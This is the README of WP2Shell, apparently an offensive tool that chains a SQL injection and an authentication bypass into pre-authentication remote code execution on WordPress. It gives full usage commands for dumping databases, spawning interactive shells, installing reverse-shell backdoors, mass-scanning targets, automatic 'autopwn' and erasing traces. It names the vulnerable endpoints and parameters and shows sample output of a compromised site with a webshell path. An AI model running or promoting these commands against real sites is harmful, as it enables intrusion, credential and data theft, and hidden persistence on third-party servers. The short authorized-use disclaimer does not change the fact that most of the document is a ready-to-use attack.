Modular WordPress pre-auth exploit framework chaining SQL injection and authentication bypass to deliver remote code execution, interactive shells, backdoors, and mass vulnerability scanning.
CVE-2026-63030 + CVE-2026-60137
Version: 4.0.0
Author: G0D150NE
WP2Shell is a full-chain exploit tool for WordPress pre-authentication remote code execution. It combines two critical vulnerabilities:
This tool allows complete compromise of vulnerable WordPress installations without any authentication - from detection to full RCE and persistence.
# Clone repository
git clone https://github.com/g0d150ne/wp2shell.git
cd wp2shell
# No dependencies needed - uses Python 3.8+ standard library
chmod +x wp2shell.py
python3 wp2shell.py [COMMAND] [OPTIONS] [TARGET]
| Command | Description |
|---|---|
check | Non-destructive vulnerability confirmation |
read | Extract data via SQL injection |
exploit | Full pre-auth RCE chain |
shell | Deploy webshell with existing credentials |
masscan | Mass scan multiple targets |
autopwn | Automatic discovery → scan → exploit |
python3 wp2shell.py check https://target.com
python3 wp2shell.py check https://target.com --confirm-timing --sleep 5
Basic fingerprint:
python3 wp2shell.py read https://target.com
Extract users:
python3 wp2shell.py read https://target.com --preset users
Custom query:
python3 wp2shell.py read https://target.com --query "SELECT @@version"
Dump entire database:
python3 wp2shell.py read https://target.com --preset dumpall --max-length 4096
Basic exploit:
python3 wp2shell.py exploit https://target.com
Exploit with interactive shell:
python3 wp2shell.py exploit https://target.com --interactive
Exploit with backdoor installation:
python3 wp2shell.py exploit https://target.com --backdoor --lhost 192.168.1.100 --lport 4444
Exploit with database dump:
python3 wp2shell.py exploit https://target.com --dumpdb
Exploit with cleanup (remove traces):
python3 wp2shell.py exploit https://target.com --cleanup
python3 wp2shell.py shell https://target.com --user admin --password secret123 --interactive
python3 wp2shell.py shell https://target.com --user admin --password secret123 --command "whoami"
# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Scan with 50 threads
python3 wp2shell.py masscan --file targets.txt --threads 50 --output results.csv
python3 wp2shell.py autopwn --domain example.com --lhost 192.168.1.100
This will:
After exploitation, you get a full interactive shell:
python3 wp2shell.py exploit https://target.com -i
[*] Interactive shell — type 'exit' to quit
/var/www/html $ id
uid=33(www-data) gid=33(www-data)
/var/www/html $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
/var/www/html $ exit
| Option | Description |
|---|---|
--timeout | HTTP timeout in seconds (default: 30) |
--proxies | Comma-separated proxy list (e.g., http://127.0.0.1:8080) |
--stealth | Enable stealth mode with random delays |
-v, --verbose | Enable debug output |
-q, --quiet | Suppress banner and info messages |
| Option | Description |
|---|---|
--prefix | Table prefix (default: wp_) |
--auto-prefix | Auto-discover table prefix |
--max-length | Max chars per value (default: 128) |
--technique | Extraction technique: auto/union/error/blind |
--preset | Data preset: fingerprint/users/dumpall |
--query | Arbitrary SQL expression to extract |
| Option | Description |
|---|---|
--prefix | Table prefix (default: wp_) |
--no-discover | Skip auto-discovery, use defaults |
-i, --interactive | Drop into shell after exploitation |
-c, --command | Execute single command after exploitation |
--backdoor | Install persistence backdoor |
--lhost | LHOST for reverse shell (default: 10.0.0.1) |
--lport | LPORT for reverse shell (default: 4444) |
--dumpdb | Dump database after exploitation |
--cleanup | Delete created user and webshell on exit |
SQL Injection (CVE-2026-63030)
/wp-json/batch/v1 endpointauthor_exclude parameter vulnerable to time-based blind SQLiAuthentication Bypass (CVE-2026-60137)
/_embed parameter| Version | Status |
|---|---|
| 6.9.0 | ✅ Vulnerable |
| 6.9.1 | ✅ Vulnerable |
| 6.9.2 | ✅ Vulnerable |
| 6.9.3 | ✅ Vulnerable |
| 6.9.4 | ✅ Vulnerable |
| 7.0.0 | ✅ Vulnerable |
| 7.0.1 | ✅ Vulnerable |
| ≥ 7.0.2 | ❌ Patched |
| Technique | Speed | Data Size | Requirements |
|---|---|---|---|
| UNION | ⚡ Very Fast | Unlimited | Target must not filter UNION |
| Error | 🚀 Fast | ~30 chars/req | Target must expose error messages |
| Blind | 🐢 Slow | Unlimited | Boolean oracle available |
░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░▒▓███████▓▒░ ░▒▓███████▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓█▓▒░ ░▒▓█▓▒░
CVE-2026-63030 + CVE-2026-60137
WordPress Pre-Auth RCE [v4.0.0]
+ G0D150NE
[1/7] Reconnaissance
Target: https://target.com
WordPress 6.9.3
[+] UNION extraction available (in-band, 1 request/value)
[2/7] Enumerating target
[+] Discovered table prefix: wp_
[3/7] Locating embed target
[+] Embed URL: https://target.com/2020/01/01/hello-world/
[4/7] Seeding oEmbed cache posts
[+] Seed payload delivered
[5/7] Extracting cache post IDs
[+] Cache IDs: [12345, 12346, 12347, 12348]
[6/7] Triggering escalation chain
[+] Administrator created via re-entry chain
[7/7] Deploying webshell
[+] Authenticated
[+] RCE confirmed
uid: www-data
[+] ========================================================
[+] TARGET COMPROMISED
[+] Admin: wp_service_a1b2 / G7hK9xQw2p$L!mN
[+] Shell: https://target.com/wp-content/plugins/cache_a1b2/cache_a1b2.php
[+] ========================================================
This tool is for authorized security testing and educational purposes only. Usage against systems without explicit permission is illegal. The authors assume no responsibility for any misuse.
Found a bug? Want to improve the tool? Pull requests welcome!
MIT License - See LICENSE file for details.